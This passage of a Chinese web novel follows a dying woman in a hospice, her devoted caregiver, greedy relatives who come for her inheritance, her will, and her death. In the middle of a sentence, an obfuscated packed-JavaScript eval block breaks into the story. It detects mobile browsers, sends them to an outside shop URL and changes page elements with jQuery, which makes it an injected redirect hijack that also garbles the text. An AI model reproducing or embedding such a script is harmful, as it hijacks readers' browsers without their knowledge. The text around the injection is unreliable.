她说着,眼睛瞪得圆圆的,手指还在空中比划了一下,那神情仿佛又看到了剧里男主追悔莫及的模样,“我跟你说,每次看他求而不得,我这心里就又解气又痛快,比吃了蜜还甜!” 叶晓霞听得咯咯直笑:“瞧你这劲儿头,我可不爱看这个。我最近追的那个才叫过瘾呢——女主本来都八十多了,过得磕磕绊绊,结果一场意外回到二十岁,手里揣着未来几十年的发财路子,先是摆摊卖小吃,后来开工厂、搞直播,没几年就成了亿万富婆,身边还有小鲜肉追!” 她说到“亿万富婆”时,眼睛里闪着亮晶晶的光,脸颊也泛起了红晕,仿佛自己也跟着体验了一把发大财的滋味,“你想想,不用再为柴米油盐发愁,想买啥买啥,想帮谁帮谁,那日子多舒坦!” 叶晓霞笑得眉眼弯弯,嘴角露出两个浅浅的梨涡,“你先看两集,要是不喜欢,我再陪你看你那追妻火葬场,怎么样?” 赵荷花被她说得动了心,脸上露出了笑容,眼角的皱纹又挤在了一起:“行!那我回头去看看!不过你也得看我的那个啊!” 她手上加了点力气,帮叶晓霞把腿轻轻放平,语气里带着点“等价交换”的认真,“我跟你说,那男主最后可是为了女主,连命都愿意豁出去,比那些发大财的情节感人多了!” “好嘞!”叶晓霞爽快地答应着,“下次你早点来,我给你算工钱,咱俩还能一起追剧呢!” 赵荷花帮叶晓霞按摩完小腿,正坐在折叠凳上歇气,她伸手抹了把汗,目光落在江月膝头的红毛线上,眼睛一亮,带着几分打趣的神情打量着那顶未完工的帽子。 只见江月坐在靠窗的椅子上,身上穿件米白色的薄棉袄,她的手指纤细修长,此刻正灵巧地穿梭在红毛线之间,银针翻飞间,一顶初具雏形的针织帽渐渐成型。 余夏躺在旁边的病床上,身上盖着厚厚的棉被,就连脑袋也被一条毛巾裹住,只露出一张清瘦的脸。 她刚才一边听着赵荷花和叶晓霞聊短剧,一边看着江月认真地打毛线帽子,嘴角始终噙着浅浅的笑意。 “小月儿啊,你这手也太巧了!这大红色真喜庆!”赵荷花率先开了口,语气里满是赞叹,还带着几分打趣,“不过你这活计也太轻松了吧,小夏儿都怕累着你,也不使唤你干活,你就只需要坐着动动手指头就行了,可比我们这又拉又拽的康复训练舒坦多了!” 她说着,还故意活动了一下手腕,做出一副“累坏了”的模样,眼角的皱纹挤得更厉害了,笑得格外爽朗。 江月闻言,编织的动作也没停下来,只是抬起头,语气轻柔却带着点俏皮:“要不,我跟你换?我来帮老叶做康复训练,你来给我织帽子,怎么样?” 赵荷花一听,连忙摆了摆手,头摇得像拨浪鼓,语气带着点夸张的急切:“那可不行!我这老眼昏花的,别说织帽子了,就连针脚都看不清,织出来指不定是个啥模样,别糟蹋了这么好的红毛线!” 她说着,还故意眯起眼睛,伸手在空中虚抓了一下,仿佛真的在找针脚似的,那副认真又滑稽的模样逗得大家都笑了起来。 叶晓霞笑得肩膀微微抖动,她抬手捂着嘴,眼角笑出了浅浅的细纹:“荷花啊,你也太逗了!” 余夏笑得最厉害,她本来就身子弱,一笑起来就忍不住喘不过气,胸腔里一阵发紧,紧接着就剧烈地咳嗽起来,“咳咳咳……” 她咳得脸颊涨得通红,眉头紧紧蹙着,手捂着胸口,单薄的肩膀微微耸动,看起来十分难受。 江月见状,脸上的笑容立刻收了起来,眼神里满是担忧。 她二话不说,迅速放下手里的针线和毛线篮,起身时动作都带着几分急切,快步走到床头柜旁,拿起余夏的保温杯,拧开盖子,试了一下水温,觉得可以给余夏喝,又快步走回余夏床边,动作麻利又轻柔地扶着余夏的后背,把杯子递到她嘴边,声音温柔又带着关切:“喝点温水润润喉咙。” 余夏靠在江月的手上,顺着她的力道喝了几口温水,咳嗽渐渐平复了些。 她喘着气,抬头看向江月,眼里满是感激,声音还有些沙哑:“谢谢你,小月……刚才笑太急了。” 江月轻轻拍着她的后背,动作轻柔得像安抚孩子:“没事就好,你身子弱,可不能这么使劲笑了。” 她说着,又帮余夏掖了掖被角,确保她盖得严实,才转身回到自己的座位上。 赵荷花收住了笑,探出身子关心道:“余夏,没事吧?” 叶晓霞脸上带着关切看向余夏:“以后可不敢这么笑了,慢点来。” 余夏摇了摇头,嘴角露出一抹虚弱却温暖的笑意:“我没事,让你们担心了。” 江月重新拿起针线,指尖的银针再次在红毛线间穿梭,只是动作比刚才更轻柔了些,却依旧执着,每一针每一线都透着股不肯停歇的韧劲。 她的眼神专注地落在指尖的帽子上,仿佛那上面承载着某种沉甸甸的希望,只是偶尔抬眼看向余夏时,眼底会掠过一丝不易察觉的忧虑,快得像雪花落在地上,瞬间就融化了。 余夏望着江月指尖翻飞的红毛线,看了许久,才缓缓开口,声音沙哑得像被砂纸磨过,带着一丝释然的轻淡:“江月,别费劲织了。” 江月的动作顿了一下,银针依旧没停,头也没抬,只说:“快好了,再织几圈就成型了,过年正好能戴。” 余夏轻轻摇了摇头,眼神里没有悲伤,只有一种看透世事的淡然,说:“不用了……我没几天了,估计等不到你把帽子织好。” 赵荷花和叶晓霞听到余夏说的这句话,对视了一眼,眼里满是无奈和哀伤,但在事实面前,两人都没法说出什么安慰的话,只是静静地沉默着。 江月的指尖猛地收紧,银针深深扎进毛线里,她几乎是立刻反驳,声音比平时高了些,带着一丝不易察觉的颤抖:“别胡说!肯定能等到的!” 她的眼神变得格外明亮,像在极力驱散某种阴霾,握着银针的手指却微微泛白,泄露了她内心的不安。 江月低下头,不敢再看余夏的眼睛,只是加快了编织的速度,银针碰撞发出细碎的声响,在寂静的病房里格外清晰,“这帽子是给你织的,你必须戴上它过年。” 余夏没有再反驳,只是轻轻叹了口气,那口气轻得几乎听不见,她望着天花板上的吊灯,眼神渐渐放空,过了好一会儿,才又开口,声音里带着一丝恳求:“江月,陪我说会儿话吧。” 江月立刻停下了手里的活,把毛线和银针轻轻放在随身携带的背包里,身体微微前倾,凑近余夏,眼神里满是关切:“好,你想说什么,我都听着。” “你最近每天都在干什么呀?”余夏转过头,看向江月。 江月的嘴角露出一抹浅淡的笑,语气自然而温柔:“来医院陪你呀,给你擦身、喂饭,陪你说话,不然还能做什么。” 这些日子,照顾余夏已经成了她生活的全部,她几乎没有想过除此之外的事情。 余夏静静地看着她,看了好一会儿,才缓缓开口,声音依旧沙哑,却带着几分认真:“那以后……你来医院见不到我了,你打算去做什么?” 这句话像一块石头,猛地砸进江月的心湖里,让她瞬间愣住了。 她脸上的笑容渐渐褪去,眼神变得有些茫然,她张了张嘴,却一时不知道该怎么回答,过了好一会儿,才低声说:“我不知道……以前是有的,有非常想做的事,但现在……我好像不知道了。” 她的声音越来越低,带着一丝无助,像个迷失了方向的孩子。 余夏看着她迷茫的模样,眼底闪过一丝心疼,她吃力地抬起手,想要去碰江月的手,江月立刻会意,连忙伸手握住了她冰凉的指尖。 余夏的手很轻,很软,却带着一股莫名的力量,她轻轻拍了拍江月的手背,语气缓慢却坚定:“别迷茫……只要好好活下去,之后还会有的。” 江月的眼眶瞬间红了,泪水在里面打转,却倔强地不肯掉下来,她用力握紧了余夏的手,仿佛在汲取某种力量,声音带着哽咽:“我知道……可我怕……” “别怕。”余夏打断她,嘴角露出一抹浅浅的笑意,那笑容很淡,却格外温暖,“每个人都有自己的路要走,我只是先到站了,但你还有很长的路要走,还有很多美好的事情在等着你。慢慢找,总会找到新的目标,新的盼头。” 她的眼神落在江月包里的红色毛线帽上,“就像这帽子,你织了这么久,不就是希望我能戴着它过年吗?这就是你的盼头。以后,你还会有新的盼头。” 江月的眼眶还带着未干的红,睫毛上沾着细碎的泪珠,却因余夏的话弯起了嘴角。 她眼底的迷茫被新的希望取代,握着余夏的冰凉手指轻轻收紧,语气里满是认真:“如果能健康活下去,你想做什么?不管是什么,我都帮你做。” 余夏黯淡的眼睛亮得像缀了星辰,她猛地睁大了眼睛,语气里满是惊喜与雀跃:“哇,那我有很多!” “很多?”江月被她的模样逗笑,眼角的泪痕还未干透,笑容却格外柔软,“能有多少呀?” “大概有一万个!”余夏说着,伸出纤细的手指在空中比划了一个大大的圈,指尖因用力而微微泛红,脸上的笑容灿烂得像春日的暖阳,完全看不出方才的虚弱与淡然,“要去看海边的日出,要去世界上所有的迪士尼乐园,要学织你这样的红帽子,还要……还要活到一百岁,看到有像你这样的机器人面世!!” 江月被她孩子气的话逗得轻笑出声,肩头微微抖动,眼底满是笑意:“哇!真的好多!一万个呢,我都不一定能活那么久,哪能帮你都做完。” 余夏却立刻皱起眉头,故作严肃地看着她,语气带着点小小的霸道:“那你肯定要活着做完这一万件事!” “估计有点困难哦。”江月忍着笑,故意逗她。 余夏眼珠一转,嘴角勾起一抹狡黠的笑,声音压低了些,带着点诱惑:“麻烦把这个困难克服一下嘛,等我……等我走了,我可以把我的财产都留给你呀!”她说着,还调皮地眨了眨眼睛,全然没注意到病房门口两道阴沉的身影。 “你就是个骗子!” 一声怒喝猛地撞破病房的寂静,余知遇像一头失控的野兽般闯了进来,她穿着一身黑色的羽绒服,头发凌乱,脸色涨得通红,额角的青筋突突直跳。 她几步冲到病床前,伸手就要去抓江月的衣领,眼神里满是暴戾与厌恶:“专门跑到这种临终医院来骗孤家寡人的财产!你安的什么心!” 江月下意识地往后缩了缩,紧紧护在余夏身前,脸色瞬间变得苍白,眼神里满是惊愕与不解,却依旧死死挡在余夏身前,生怕她受一点伤害。 余夏原本带着笑意的脸瞬间冷了下来,苍白的唇抿成一条直线,眼神里淬着冰,她轻轻拍了拍江月的后背,示意她别怕,随后抬眼看向余知遇,声音冷得像窗外的冰雨:“原来你也觉得我是孤家寡人啊?” 闻溪跟在余知遇身后,她今天没有化妆,整个人显得憔悴不已,穿着一身陈旧的棉袄,脸上却满是鄙夷与不耐,她双手抱胸,尖着嗓子骂道:“余夏你真是胳膊肘往外拐!外人骗你的钱,你还帮着她说话?你是不是傻!” “我就是傻,也比你们这些只想着我遗产的人强!”余夏的胸口剧烈起伏着,呼吸变得急促。 “你以为我们愿意来看你你这个扫把星?”余知遇被她的话彻底激怒,眼神变得更加恶毒,她指着余夏的鼻子,嘶吼道,“要不是你,爸爸怎么会早死!你就是个灾星,克死了爸爸,现在还想把家产留给外人!没人会爱你!没人会真心对你!” “你放屁!” 江月猛地站起身,虽然身形清瘦,却像一株挺拔的青松,挡在余夏面前。 她的眼眶通红,泪水终于忍不住滚落,却眼神凌厉地瞪着余知遇,声音带着哽咽却异常坚定:“我爱她!我对她从来没有过半点私心,我照顾她,只是因为她是余夏,不是因为什么遗产!” “对!我也爱她!”赵荷花和叶晓霞异口同声道。 赵荷花立刻从折叠凳上站起来,暗红色的棉袄衬得她脸色通红,她几步走到江月身边,双手叉腰,眼神愤怒地瞪着余知遇和闻溪:“我们在这儿住了这么久,谁不知道小月儿在真心照顾余夏!你们这些做亲人的,除了来要钱,还做过什么?还好意思说别人!” 叶晓霞也撑着身子,半靠在床头,眼神里满是不平与坚定:“余夏那么好的人,你们不珍惜,总有人珍惜!我们都爱她,比你们这些所谓的亲人更爱她!” 病房里瞬间陷入一片死寂,只有余夏急促的呼吸声和窗外呼啸的风声。 余知遇和闻溪被江月三人的气势震慑住,愣在原地,脸上的愤怒渐渐被错愕取代。 余知遇站在病床前,黑色羽绒服的拉链拉得老高,领口蹭得有些歪斜,露出里面皱巴巴的毛衣。 她头发凌乱,额前的碎发被汗水黏住,脸色涨得通红,像是憋了一团火。 方才被江月三人的反驳噎住,此刻又被“家人”二字刺激,她的情绪彻底失控,双目圆睁,额角的青筋突突直跳,双手握拳,指节捏得“咯咯”作响,语气暴戾又嚣张:“你们不是家人!就算口口声声说爱她又怎么样?没用!她到死都是孤家寡人,最后还不是要被外人骗走财产!” 江月听到这话,瞳孔猛地一缩,心底的怒火瞬间被点燃。 她深吸一口气,压下喉咙里的哽咽,抬起头,眼神像淬了冰的刀子,直直看向余知遇,嘴角勾起一抹冰冷的嘲讽:“家人?你也配提家人?你也配说爱这个字?” 她的目光扫过余知遇错愕的脸,一字一句地反击,“你男朋友当初不是也口口声声说爱你吗?他把你哄得团团转,最后还把你骗进了传销组织,榨干了你所有的积蓄!” “你怎么知道?!”余知遇像是被人狠狠戳中了最隐秘的伤疤,脸色骤然由红转白,再由白转青,眼神里满是惊疑与戒备。 她踉跄着后退半步,死死盯着江月,眉头拧成一个疙瘩,语气急促又带着一丝慌乱:“我根本不认识你!你到底是谁?你怎么会知道这些事?” 她的大脑飞速运转,却完全想不起在哪里见过眼前这个清瘦的女人,难道是自己以前的客户吗?那她怎么没来找自己要求退款? 自从被那个男朋友介绍去山海疗愈心灵谷工作,一开始说的好好的,只要是自己联系到客户来开单,就能有高提成,自己也很快攒够了一笔钱。 原以为自己时来运转,要走上人生巅峰,但很快,公司就已经人去楼空,之前的客户纷纷找上门来,要求退款,妈妈闻溪卖房的钱都填进去也没补完这个大窟窿,她是不得已才来找余夏的,却没想到在病房门口听到余夏说要把自己的财产留给一个外人。 江月看着他惊慌失措的模样,眼底的嘲讽更浓了,语气平静却带着不容置疑的力量:“我是谁不重要,重要的是,你别在这里站着说话不腰疼。” “闭嘴!你给我闭嘴!”余知遇被她的话刺激得暴跳如雷,她猛地抬起手,像是要扇江月耳光,手臂却因愤怒而微微发抖。 她的脸颊涨得发紫,呼吸急促,胸口剧烈起伏,恼羞成怒道:“那都是过去的事了!他早就被我送进监狱了!是我亲手报警抓的他!” 她嘶吼着,像是要通过这种方式证明自己的清醒,掩饰当初被欺骗的狼狈。 江月毫不畏惧地迎上他的目光,没有丝毫退缩。 她的眼神依旧锐利,却多了几分怜悯:“送进监狱又能怎么样?你当初被骗的滋味,难道都忘了吗?” 她侧身握住余夏冰凉的手,指尖传递着温暖与力量,“余夏现在需要的是关心和陪伴,而不是你们这些所谓的‘家人’来榨取她最后的价值。你连最基本的共情都没有,还有脸指责别人?” 眼看着两人就要闹得不可开交,闻溪突然换了一副嘴脸。 她脸上的刻薄与不耐瞬间消失得无影无踪,取而代之的是谄媚与急切,她几步走到病床边,想要去拉余夏的手,却被余夏猛地躲开。 闻溪脸上的笑容僵了一下,随即又堆得更满,声音柔得像棉花糖,带着刻意的讨好:“夏夏,妈知道错了,以前是妈不好,不该对你那样。” 她眼圈泛红,装出一副委屈的模样,“妈现在就带你回家住,家里多暖和啊,总比在这冷冰冰的病房里强,你一个人多孤单。” 余知遇也反应过来,连忙收起脸上的暴戾,换上一副可怜巴巴的神情,她搓着手,语气急切又卑微:“夏夏,姐也求你了,以前姐不对,不该说那些混账话。” 她低下头,声音带着哭腔,“我被之前的男朋友骗了,以前的客户都找上门要钱,妈把房子都卖了也填不上窟窿,再还不上,她们就要把我送进监狱啊,夏夏,你救救姐,救救我们家啊!” 余夏看着眼前这对母女变脸比翻书还快的模样,只觉得一阵恶心。 她苍白的脸上没有任何表情,眼神冷得像万年寒冰,嘴角勾起一抹极淡的、带着嘲讽的弧度:“以前我被你们欺负、忽视的时候,你们怎么不道歉?我生病住院,没人照顾的时候,你们怎么不出现?” 她的声音很轻,却字字诛心,“那时候,怎么没人来救我?现在想起我了,想起我还有存款了?晚了。” 她眼神坚定地看着闻溪和余知遇,一字一句地说,“从现在起,我和你们断亲!往后我的一切,都与你们无关!” “你这个冷血无情的东西!”余知遇被她的话彻底激怒,所有的伪装瞬间崩塌,她目露凶光,猛地扑向病床,伸手就要去抓余夏的衣领,“我今天非要让你把钱交出来不可!” “住手!”闻溪下意识地拦住她,眼神里满是慌乱,“别动手!别在这里动手!” “小夏,你就帮帮你姐姐吧!”她还想再劝余夏,却被余夏冰冷的眼神看得浑身发毛。 病房里瞬间乱作一团,桌椅被撞得发出“哐当”的声响,窗外的风雨似乎也更烈了。 赵荷花见状,顿时急红了眼,将她本就结实的身子往中间一横,像一堵不可逾越的墙。 她双手死死抓住余知遇的胳膊,猛地一使劲,就将她往后拽了过去。 “砰”的一声,余知遇重心不稳,重重摔在地板上,闻溪也被连带推倒,两人狼狈地滚在一处。 “想动小夏和小月儿,先把我赵荷花打倒!”赵荷花叉着腰,胸口剧烈起伏,脸色涨得通红,眼角的皱纹因愤怒而挤在一起,眼神里满是悍然,“你们这些没良心的东西,连病重的人都欺负,还有点人性吗?” 叶晓霞也急得不行,她撑着行动不便的身子,颤抖着伸出手,用力按下了床边的呼叫铃。 “铃铃铃——”尖锐的铃声在病房里响起,划破了混乱的喧嚣。 她的身子微微发抖,却依旧咬着牙,眼神坚定地喊道:“医护人员马上就来!你们别想撒野!” 没过多久,几名穿着白大褂的医护人员和保安就匆匆赶来。 领头的护士皱着眉头,看着满地狼藉和扭打在一起的几人,语气严肃:“怎么回事?谁在病房里打架?” 余知遇和闻溪见状,连忙从地上爬起来,拍了拍身上的灰尘,眼神里满是慌乱,却还想辩解:“我们是她的亲人,过来看看她,都是误会!” “胡说!明明是你们要抢钱,还想打人!”赵荷花立刻反驳,语气激动地把事情的来龙去脉说了一遍。 医护人员听后,脸色愈发难看,对着余知遇和闻溪冷声道:“这里是医院,不是你们撒野的地方!病人需要静养,你们立刻离开!” 保安也上前一步,眼神严肃地做出“请”的手势:“请你们马上出去,否则我们就要采取强制措施了。” 余知遇和闻溪看着周围不善的目光,知道再赖下去也没用,只能恶狠狠地瞪了余夏一眼,嘴里骂骂咧咧地被保安架了出去。 余夏看着他们狼狈离去的背影,紧绷的身体终于松弛下来,她靠在床头,呼吸有些急促,脸色依旧苍白,却眼神坚定地对护士说:“护士,麻烦帮我登记一下,以后禁止这两个人进入医院,我不想再见到他们。” 护士点了点头,语气温和:“好的,我们会备注的,你别生气,好好休息。” 江月连忙回到床边,拿起毛巾轻轻帮余夏擦了擦额头的薄汗,眼神里满是心疼:“你还好吗?有没有哪里不舒服?” 余夏摇了摇头,看着江月、赵荷花和叶晓霞关切的眼神,苍白的脸上终于露出一抹浅浅的笑容,那笑容在满室的狼藉与窗外的风雨中,显得格外温暖:“我没事,刚刚谢谢你们了。” / 窗外的雨终于停了,铅灰色的天空渐渐放晴,一缕浅金色的阳光穿透云层,斜斜地照进病房,在地板上投下一道长长的暖斑。 屋里的暖气依旧融融,淡淡的药味里混着毛线的羊毛香气,还有律师刚离开时留下的、纸张的油墨味,一切都显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119747|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静而郑重。 江月和律师擦身而过,再次来到病房,那顶大红色毛线帽已经基本完工,帽檐上的绒球饱满圆润,针脚细密整齐,在阳光下红得热烈而温暖,像一颗跳动的心脏。 她依旧坐在靠窗的椅子上,手指正捏着最后一根银线,小心翼翼地给毛线帽收针,动作轻柔而专注,眼神里满是珍视,仿佛手里捧着的是世间最珍贵的宝贝。 余夏半靠在床头,脸色比之前好了些,苍白的脸上泛着一层淡淡的红晕。 她的眼神清亮而平静,正看着江月指尖的毛线帽,嘴角噙着一抹浅浅的笑意。 江月收好最后一针,抬手将毛线帽举到眼前,仔细端详了一番,又轻轻拂了拂上面的绒毛,确认没有瑕疵后,才转过身,笑着递到余夏面前:“好了,你看看喜欢吗?” 余夏伸出手,轻轻接过毛线帽,指尖触到柔软的羊毛,一股暖意顺着指尖蔓延开来。 她将帽子放在掌心,细细摩挲着上面的针脚,眼神里满是感动:“真好看,比我想象中还要好。” 她抬头看向江月,嘴角的笑意更深了,“你手艺真好。” 江月被她夸得有些不好意思,脸颊泛起淡淡的红晕,伸手挠了挠头,语气带着点羞涩:“喜欢就好,本来还担心你不喜欢这个样式。” 余夏摇了摇头,将毛线帽轻轻放在枕边,眼神转向床头柜上的遗嘱,语气平静却坚定:“律师刚才已经把遗嘱写好了,我所有的财产,以后都留给你。” 江月脸上的笑容微微一滞,眼神里闪过一丝错愕,随即又被深深的感动取代。 她张了张嘴,想说些什么,却一时语塞,只是定定地看着余夏,眼眶渐渐泛红。 她一开始接近余夏,只是想要报复,但看到她在生命的尽头却依旧强烈的求生欲望,已经被深深打动。 江月照顾余夏,从没想过要什么回报,可余夏的这份信任与托付,却让她心里涌起一股暖流,夹杂着一丝酸涩。 余夏看出了她的情绪,轻轻拍了拍她的手背,语气带着点俏皮:“别感动得哭啊,我还有一万件事要让你做呢,现在才刚开始,可不能掉眼泪。” 江月吸了吸鼻子,强忍着泪水,嘴角扯出一抹笑容:“一万件事,你这是要雇佣我一辈子啊。” “不然呢?”余夏挑了挑眉,眼神里满是狡黠,“我这一万件事还没写完呢,你可得慢慢帮我完成。” 她的眼神渐渐变得认真起来,语气也郑重了许多,“第一件事,就是用力地、竭尽全力地活着,不管遇到什么困难,不管将来有多迷茫,都不能放弃自己的生命。” 这句话像一颗石子,猛地砸进江月的心湖里,让她瞬间红了眼眶。 她看着余夏认真的眼神,看着她苍白却坚定的脸庞,心里的感动再也抑制不住,泪水顺着脸颊滑落,滴落在手背上,温热而滚烫。 她连忙低下头,用手背擦了擦眼泪,却怎么也擦不干净,肩膀微微颤抖着,泄露了她内心的汹涌。 余夏看着她偷偷落泪的模样,眼底闪过一丝心疼,却故意笑着打趣道:“怎么,被我这一万件事难哭了?” 江月抬起头,眼眶通红,脸上还挂着泪珠,却忍不住笑了出来,声音带着哽咽,语气却带着点打趣:“才不是,我是在想,你那点钱,不知道够不够请我做这一万件事,一想到以后要被你压榨剥削,就忍不住哭了。” 余夏被她逗得咯咯直笑,脸色也因笑意变得更加红润。 她伸出手,轻轻戳了戳江月的脸颊,语气带着几分自豪:“你可别小看我,我收入还不错!这些钱,足够让你舒舒服服地帮我完成这一万件事了,保证不让你吃亏。” 江月看着她笑得眉眼弯弯的模样,心里的酸涩渐渐散去,只剩下满满的温暖。 她用力点了点头,抹掉脸上的泪水,眼神坚定而认真:“好,那我就答应你。不过,你也得答应我,一定要好好地活下去,看着我把这一万件事一件一件做完。” 余夏勉强笑了下,但还是点头了:“好,我答应你。” / 隔壁床的老叶被家人接走,要回去团聚过年了。 余夏吃完止痛药后睡得很沉,长长的睫毛安静地垂着,像蝶翼般轻轻覆在眼睑上,呼吸轻浅而均匀。 江月看着她恬静的睡颜,起身轻轻拿走余夏手里握着手机——屏幕还亮着,停留在聊天界面,她本想帮她锁屏收起,目光却无意间扫到了置顶的两个联系人:宁歌、林影。 那两个名字像针一样扎进她的眼睛,让她浑身一僵。 她握着手机的手指微微收紧,心脏不受控制地狂跳起来。 宁歌和林影,她们和余夏一样,都是当年那场事件里的关联者,也是她刻意接近的人。 可她没想到,余夏竟然和她们一直有联系。 江月的眼神变得复杂,有疑惑,有戒备,还有一丝不易察觉的慌乱。 她轻轻将手机放在原位,坐回椅子上,目光落在余夏脸上,等待着她醒来。 不知过了多久,余夏的睫毛轻轻颤动了一下,缓缓睁开了眼睛。 她的眼神还有些惺忪,适应了片刻才聚焦在江月身上,嘴角勾起一抹浅淡的笑:“醒了多久了?” 江月深吸一口气,压下心头的翻涌,语气平静却带着一丝试探:“刚醒。” 她顿了顿,目光落在床头柜的手机上,“我刚才帮你收手机,看到你和宁歌、林影都有联系。” 余夏的笑容没有丝毫变化,眼神里甚至没有一丝意外,她轻轻点了点头:“嗯,一直有联系。” “你是不是早就知道,我在接近你们?”江月的声音有些发紧,她紧紧盯着余夏的眼睛,想要从里面找到答案。 余夏缓缓点头,语气淡然得像是在说一件无关紧要的事:“是宁歌最先发现的。” 她回忆起过往,眼神变得有些悠远,“有段时间,她总觉得身边有个陌生的身影,不管是去公司还是回家,都能隐约感觉到有人跟着。她心思细,就拜托熟悉的客户调查了你,才知道你姐姐就是当年无差杀人事件唯一的受害者。” 江月的心脏猛地一缩,指尖攥得更紧了,指甲几乎要嵌进肉里。 “后来你去林影的饭店吃饭,”余夏继续说道,语气依旧平静,“林影见过你几次,觉得你眼神不对劲,总像是带着心事,又特意打听了你的情况,请了私家侦探,才知道你还在跟踪宁歌。” 她看向江月,眼神里带着一丝了然,“你来找我租房的时候,我一眼就认出了你——毕竟宁歌和林影都跟我提过你,说你也有可能会来找我。我才反应过来,你是有意接近我们三个。” “所以你就联系了她们,想知道我要干什么?”江月的声音带着一丝沙哑,心里的防线在一点点崩塌。 余夏轻轻“嗯”了一声,嘴角勾起一抹狡黠的笑,语气却带着几分无所谓:“谁管你干什么?” 她眼神落在江月身上,带着一丝调侃,“反正你现在天天都在服侍我,等我死了你还要替我做事。” 江月猛地抬起头,眼神里翻涌着压抑已久的悲愤与不甘,她的声音带着颤抖,却异常清晰:“我跟踪你们,接近你们,是想杀了你们。” 这句话像一块巨石,砸破了两人之间长久以来的平静,“为什么当初死的不是你们,而是我姐姐?她那么好,那么善良,凭什么要承受那些痛苦!” 她的眼眶瞬间红了,泪水汹涌而出,顺着脸颊滑落,“而你们,却能好好活着,甚至过得风生水起!” 余夏脸上的笑容渐渐淡了下去,她静静地看着江月,眼神里没有愤怒,也没有辩解,只有一种深深的疲惫与释然。 她轻轻叹了口气,声音沙哑得像被砂纸磨过:“现在我要死了,你开心吗?” 江月的哭声猛地一顿,她看着余夏苍白虚弱的脸,看着她眼底的平静,心里的悲愤突然被一股莫名的情绪取代,那是愤怒,是不甘,还有一丝连她自己都没察觉的难过。 她猛地抬手抹掉眼泪,眼神变得凌厉,声音带着嘶吼:“我现在想杀了老天!谁允许它让我身边的人一个个死去的!” 她的肩膀剧烈地颤抖着,积压了太久的情绪在这一刻彻底爆发。 余夏看着她激动的模样,嘴角突然露出一抹浅浅的笑容,那笑容里带着一丝调皮,又带着一丝释然:“你要跟我一起去死吗?” 江月愣住了,随即破涕为笑,泪水还挂在脸颊上,眼神却变得复杂:“你的财产我还没花光,你先去死吧。” 余夏被她逗得轻轻笑了起来,胸口微微起伏着,语气带着几分自豪:“那就行。我的遗产有很多,你就算大手大脚地花,也得花好一阵子呢。” “那我就去你母亲和余知遇面前花,”江月的眼神里闪过一丝狡黠,语气带着点孩子气的报复,“气死她们!” 余夏摇了摇头,语气里带着一丝无奈:“她们没良心,是不会气死的。”她顿了顿,看着江月,眼神变得认真,“说不定你自己先气坏了身子,得不偿失。” “那我就杀了她们!”江月的语气带着一丝狠厉,眼神里闪过一丝戾气。 “不行。”余夏立刻打断她,语气坚定,“杀了她们,我留给你的财产就得拿去赔偿,还要坐牢,太不划算了。” 她看着江月,神色十分颜色,“我不允许你这样,我希望你不要去杀任何人,安安稳稳地,一个人花掉我所有的钱,好好生活。这也是我让你做的一万件事之一。” 江月看着她认真的眼神,心里的戾气渐渐消散,沉默了片刻,她轻轻点了点头:“那好吧。” 余夏满意地笑了笑,闭上眼睛休息了片刻,又重新睁开,语气带着一丝疑惑:“有点热,是不是春天到了?” 江月闻言,起身走到窗边,推开窗户向外望去。 凄风冷雨在空气中无限蔓延,就连路边光秃秃的树枝都显得恐怖阴森,哪里有春天的影子? 她深吸了一口气,空气中满是冬日的萧瑟气氛,心里却莫名地有些不安。 她连忙转过身,快步走回床边。 余夏静静地躺在病床上,眼睛闭着,嘴角还带着一丝浅浅的笑容,脸色依旧苍白,却异常平静。 她的呼吸已经停止了,胸口不再起伏,那顶鲜红的毛线帽就放在她的枕边,红得热烈而温暖,与她苍白的脸庞形成鲜明的对比。 江月的脚步猛地顿住,心脏像是被一只无形的手紧紧攥住,痛得她无法呼吸。 她缓缓走到床边,伸出颤抖的手,轻轻碰了碰余夏的脸颊——冰凉的触感传来,让她瞬间如坠冰窖。 “余夏?”她的声音带着哽咽,轻轻唤着她的名字,“余夏,你醒醒……” 没有回应。 病房里静得可怕,江月缓缓蹲下身,将脸埋在床边,泪水无声地汹涌而出,浸湿了床单。 她没有嚎啕大哭,只是肩膀剧烈地颤抖着,压抑着心底的悲痛。 16. 妹妹日记 “闻溪,余知遇。”江月站在门口敲门,声音平静,听不出情绪。 她打量了一下门口,随后捂住鼻子。 门口的墙壁上写着鲜红的大字,“诈骗犯!”、“骗子!”、“还钱!”、“血债血偿”之类的,门板上、地板上有许多的脏污,闻起来十分恶臭。 很快,门便被打开,她看着站在门内战战兢兢的两人,看到敲门的人是江月,而不是来讨债的人,顿时松了一口气。 闻溪还穿着去医院时穿着的羽绒服,袖口磨起了毛边,眼下是掩不住的青黑,显然许久没有睡好。 余知遇则比上次见面瘦了一圈,一件毛衣空荡荡地挂在身上,眼神疲惫却带着一丝警惕,像只被逼到墙角的兽。 江月从随身的黑色手包里拿出一张银行卡,递了过去,“这里面是十万块。”她的目光在两人脸上逡巡,“余夏走了,往后,你们就当从来没有认识过她。这笔钱,就用来买断你们和她的关系。” 闻溪的瞳孔猛地一缩,下意识地后退了半步,像是被那张银行卡烫到。 她的嘴唇动了动,想说什么,喉咙却像被堵住一般,发不出声音。 她想起余夏小时候总爱跟在她身后,甜甜地叫着“妈妈”,想起她们一起在田埂上追蝴蝶,想起余夏说以后要赚很多钱,让她和余知遇都过上好日子。 可如今,一切都成了泡影。 “密码是余夏的生日,好歹家人一场,也稍微记住点她吧。”江月的声音冷冷的,像是懒得跟她们多话。 余知遇的目光在银行卡上停留了几秒,随即抬眼看向江月,眼神里充满了复杂的情绪,有愤怒,有不甘,还有一丝难以察觉的悲凉。 “江月,你以为这样就能买断一切吗?”她的声音沙哑,带着浓浓的疲惫,“余夏是我的妹妹,跟你有什么关系啊?” 江月的嘴角勾起一抹极淡的嘲讽,眼神却冷了下来,“不然呢?”她反问,“你们现在自身难保,还有心思管余夏?” 她顿了顿,目光落在余知遇略显狼狈的身上,“你最近官司缠身,门口天天有人堵着要债,你连殡仪馆的钱都交不出,还想怎么办?” 